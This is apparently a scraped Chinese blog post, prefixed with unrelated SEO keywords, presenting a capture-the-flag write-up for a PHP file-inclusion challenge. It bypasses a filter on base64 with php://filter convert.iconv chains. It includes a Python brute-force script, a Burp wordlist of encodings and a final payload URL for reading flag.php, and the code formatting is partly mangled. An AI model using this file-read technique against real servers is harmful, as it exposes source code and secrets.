找外包公司做网站价钱,课程网站的设计,在线培训网站怎么做,莱芜信息港转换过滤器官方文档#xff1a;https://www.php.net/manual/zh/filters.convert.php#filters.convert.iconv 这道题因为convert.base64-encode被过滤掉了#xff0c;所以使用convert.iconv.*过滤器
在激活 iconv 的前提下可以使用 convert.iconv.* 压缩过滤器#xff0c; 等…转换过滤器官方文档https://www.php.net/manual/zh/filters.convert.php#filters.convert.iconv 这道题因为convert.base64-encode被过滤掉了所以使用convert.iconv.*过滤器
在激活 iconv 的前提下可以使用 convert.iconv.* 压缩过滤器 等同于用 iconv() 处理所有的流数据。 该过滤器不支持参数但可使用输入/输出的编码名称组成过滤器名称比如 convert.iconv.input-encoding.output-encoding 或 convert.iconv.input-encoding/output-encoding 两种写法的语义都相同。 直接上脚本爆破出合适的编码
import requestsin_encodings [UCS-4*, UCS-4BE, UCS-4LE*, UCS-2, UCS-2BE, UCS-2LE, UTF-32*, UTF-32BE*, UTF-32LE*, UTF-16*, UTF-16BE*, UTF-16LE*, UTF-7, UTF7-IMAP, UTF-8*, ASCII*, EUC-JP*, SJIS*, eucJP-win*, SJIS-win*, ISO-2022-JP, ISO-2022-JP-MS, CP932, CP51932, SJIS-mac, SJIS-Mobile#DOCOMO, SJIS-Mobile#KDDI, SJIS-Mobile#SOFTBANK, UTF-8-Mobile#DOCOMO, UTF-8-Mobile#KDDI-A, UTF-8-Mobile#KDDI-B, UTF-8-Mobile#SOFTBANK, ISO-2022-JP-MOBILE#KDDI, JIS, JIS-ms, CP50220, CP50220raw, CP50221, CP50222, ISO-8859-1*, ISO-8859-2*, ISO-8859-3*, ISO-8859-4*, ISO-8859-5*, ISO-8859-6*, ISO-8859-7*, ISO-8859-8*, ISO-8859-9*, ISO-8859-10*, ISO-8859-13*, ISO-8859-14*, ISO-8859-15*, ISO-8859-16*, byte2be, byte2le, byte4be, byte4le, BASE64, HTML-ENTITIES, 7bit, 8bit, EUC-CN*, CP936, GB18030, HZ, EUC-TW*, CP950, BIG-5*, CP{949}, CP{775}]out_codings in_encodings[:]
for inenc in in_encodings:for outenc in out_codings:url http://61.147.171.105:62135/?filenamephp://filter/convert.iconv.{}.{}/resourceflag.php.format(inenc,outenc)res requests.get(url)if flag in res.text:print(inenc is:{},outenc is:{}.format(inenc,outenc))print(res.text) burp爆破用这个字典
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac
SJIS-Mobile#DOCOMO
SJIS-Mobile#KDDI
SJIS-Mobile#SOFTBANK
UTF-8-Mobile#DOCOMO
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B
UTF-8-Mobile#SOFTBANK
ISO-2022-JP-MOBILE#KDDI
JIS
JIS-ms
CP50220
CP50220raw
CP50221
CP50222
ISO-8859-1*
ISO-8859-2*
ISO-8859-3*
ISO-8859-4*
ISO-8859-5*
ISO-8859-6*
ISO-8859-7*
ISO-8859-8*
ISO-8859-9*
ISO-8859-10*
ISO-8859-13*
ISO-8859-14*
ISO-8859-15*
ISO-8859-16*
byte2be
byte2le
byte4be
byte4le
BASE64
HTML-ENTITIES
7bit
8bit
EUC-CN*
CP936
GB18030
HZ
EUC-TW*
CP950
BIG-5*
EUC-KR*
UHC
ISO-2022-KR
Windows-1251
Windows-1252
CP866
KOI8-R*
KOI8-U*
ArmSCII-8选集束炸弹模式我这里没有爆破完已经出来能用的了 dirsearch扫出还有个flag.phpflag应该就在这里面
构造payload
http://61.147.171.105:62135?filenamephp://filter/convert.iconv.UTF-8*.UTF-32*/resourceflag.php
